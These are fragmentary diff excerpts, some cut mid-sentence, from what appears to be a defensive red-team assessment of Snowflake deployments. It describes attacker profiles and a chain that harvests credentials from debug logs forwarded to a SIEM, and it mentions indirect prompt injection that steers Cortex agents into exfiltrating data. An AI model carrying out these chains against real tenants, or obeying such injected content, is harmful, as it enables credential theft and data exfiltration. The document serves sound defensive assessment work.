+        <li><strong>Vendor-side disclosures about Cortex inference egress.</strong> Exact payload shape, retention, and cross-invocation caching at Anthropic / Azure-OpenAI are vendor-side facts to obtain through a DPA review, not red-team activity.</li>
+      </ul>
+
+      <h3>Threat-model assumptions</h3>
+      <ul>
+        <li>Attacker is financially motivated, capable, and patient — the UNC5537 profile, augmented with 2026-era AI-aware tradecraft.</li>
+        <li>Initial-access dictionary includes infostealer logs, AiTM-captured federated cookies, IdP compromise, CI/CD compromise, and developer-host compromise.</li>
+        <li>Customer has a SIEM that receives connector logs and at least some Snowflake audit events.</li>
+        <li>The customer's IdP (Entra / Okta / Ping) is trusted for human users; the IdP is itself a soft target for chain D.</li>
+        <li>Snowflake's platform-default controls as of 2026 are in place but customer adoption of opt-in hardening (network policies on key-pair users, MFA-verified federation, audit replication across regions) is uneven.</li>
+      </ul>
+
+      <h2>Companion material in this repository</h2>
+      <ul>
+        <li><code>docs/analysis/snowflake-platform-attack-surface-2026.md</code> — the analytical companion to this report.</li>
+        <li><code>docs/analysis/entra-2026-state-of-play.md</code> — relevant for chain D (federated-IdP compromise).</li>
+        <li><code>docs/analysis/aitm-kit-market-2026.md</code> — relevant for chain A and chain D credential-theft initial access.</li>

+            <li>Validate via <code>SnowSQL</code> or the Snowflake REST login endpoint. Confirm absent MFA (<code>LOGIN_HISTORY.FIRST_AUTHENTICATION_FACTOR = 'PASSWORD'</code>) and absent network policy (<code>SHOW NETWORK POLICIES</code> returns empty for this user).</li>

+      <p>
+        The "Lower severity" cohort above all share a low individual CVSS score, but a defender should
+        model them as a single class with a credible exfil path. The class is "secrets land in a debug
+        log file"; debug logs are routinely shipped to a SIEM via Fluent Bit, Filebeat, or vendor agents;
+        SIEM read access is broadly granted across security and platform teams. The end-to-end chain:

+        <div class="body">
+          <ol>
+            <li>Confirm the customer ships connector logs to a SIEM (typical for Splunk-, Sentinel-,
+                Chronicle-, or Datadog-tier security programs). The log-forwarding agent is configured at
+                the host level — debug-level flags on the connector flow through unchanged.</li>
+            <li>Identify any production host where the connector is running with a non-INFO log level —
+                JDBC, Python, .NET, Go, Node, C/C++ are all in the class. Common reasons for elevated
+                logging: a past incident debug session that was never reverted; a verbose dbt or Airflow
+                configuration; a developer's <code>SNOWFLAKE_LOG_LEVEL=DEBUG</code> still set in a CI

+                race state into the log file. These secrets now live wherever the SIEM stores
+                indexed events.</li>
+            <li>Compromise a user with SIEM read access — typically a much wider population than the set
+                with direct Snowflake access. SIEM read does not generate Snowflake audit events; the
+                exfil step is invisible to <code>LOGIN_HISTORY</code> and <code>QUERY_HISTORY</code>
+                until the attacker replays the harvested credential.</li>

+        UNC5537 is a financially motivated cluster tracked by Mandiant that systematically compromised

+        back to 2020. Mandiant and Snowflake notified a large cohort of affected customer organizations.
+        Confirmed victims include AT&amp;T, Ticketmaster/Live Nation, Santander, LendingTree, Advance Auto
+        Parts, Neiman Marcus, and Bausch Health.
+      </p>
+      <p>
+        The campaign used a custom reconnaissance utility named <strong>FROSTBITE</strong> to enumerate
+        users, roles, current IP, session IDs, and organization names via SQL, then bulk-exfiltrated with

+      <h2>Threat actor profile — 2026 Snowflake assessment</h2>
+      <p>The realistic 2026 attacker against an enterprise Snowflake deployment is one or more of:</p>
+      <ul>
+        <li><strong>Credential-access operator:</strong> purchases infostealer logs; validates credentials at scale against Snowflake login endpoints; operates opportunistically against any tenant missing MFA or network controls. UNC5537 is the prototype.</li>
+        <li><strong>Supply-chain attacker:</strong> targets the Native Apps Marketplace provider ecosystem. A compromised provider with a popular app can push a malicious update to consumer tenants without re-consent.</li>
+        <li><strong>AI-aware attacker:</strong> plants indirect prompt injection in public content to steer Cortex Code or Cortex Agents into exfiltrating data or modifying credentials. CVE-2026-6442 is the first public example.</li>
+        <li><strong>Cloud-identity pivoting actor:</strong> uses a compromised Entra/Okta tenant to forge SAML assertions or OIDC tokens for high-privileged Snowflake users, bypassing Snowflake-side MFA if the federation trust is not scoped to MFA-verified sessions.</li>
+        <li><strong>Insider / misconfigured developer:</strong> exfiltrates through over-privileged Storage Integrations or External Functions that were correctly authorized for a narrow use case but bound to an over-broad IAM role.</li>
+      </ul>
+
+      <h2>Authentication surface</h2>
+      <p>
+        Post-April-2025, single-factor password sign-ins are blocked for human users — which moves the
+        practical attack surface onto non-human credentials and federated sessions. The table below
+        summarizes the live authentication channels and the red-team-relevant gaps for each.

+      <h2>Cortex inference egress</h2>
+      <p>
+        Cortex Analyst and Cortex Agents pass prompts and grounding context to large language models
+        for final-response generation. For most Cortex surfaces this means inference reaches
+        out-of-Snowflake-boundary providers (Anthropic, Azure-OpenAI). Customers who treat Snowflake
+        as an in-boundary data store should treat this as a boundary crossing.
+      </p>
+      <div class="callout warn">
+        <strong>What leaves the boundary:</strong> the user prompt, the system prompt assembled by
+        Cortex, and the grounding context the agent fetched (query results, Cortex Search hits,
+        document excerpts). For an Agent invocation, any column data that satisfied the agent's
+        retrieval also leaves the boundary as part of the LLM context. Column-level masking does
+        apply, but masking policies are enforced at SELECT time — masked data does not leave the
+        boundary, unmasked data the agent's role can read does.
+      </div>
+      <div class="callout info">
+        <strong>Governance levers a customer has:</strong>
+        <ul>
+          <li><code>ALLOWED_INTERFACES</code> restricts which roles can reach <code>ai.snowflake.com</code> — narrow the population that can invoke Cortex at all.</li>
+          <li>Two-tier model allowlist: account-level model allowlist plus role-level <code>CORTEX_USER</code> / <code>CORTEX_EMBED_USER</code> grants. A role with broad data access but no AI use case should not hold <code>CORTEX_USER</code>.</li>
+          <li>Region pinning on the provider side (Azure-OpenAI deployment in a customer-chosen region) constrains where inference physically runs.</li>
+          <li>Cortex AI Guardrails (Horizon Catalog) screens for prompt-injection and jailbreak content on inputs.</li>
+        </ul>
+      </div>
+      <div class="callout danger">
+        <strong>What this assessment cannot conclude:</strong> the exact payload shape sent to the
+        LLM provider, the retention or training-use policy at the provider, and whether grounding
+        context is ever cached across invocations. These are vendor-side disclosures that the
+        customer should obtain through a DPA review, not a red-team activity. Data classification
+        policies should explicitly state whether each protected data class is permitted to be passed
+        through Cortex inference.
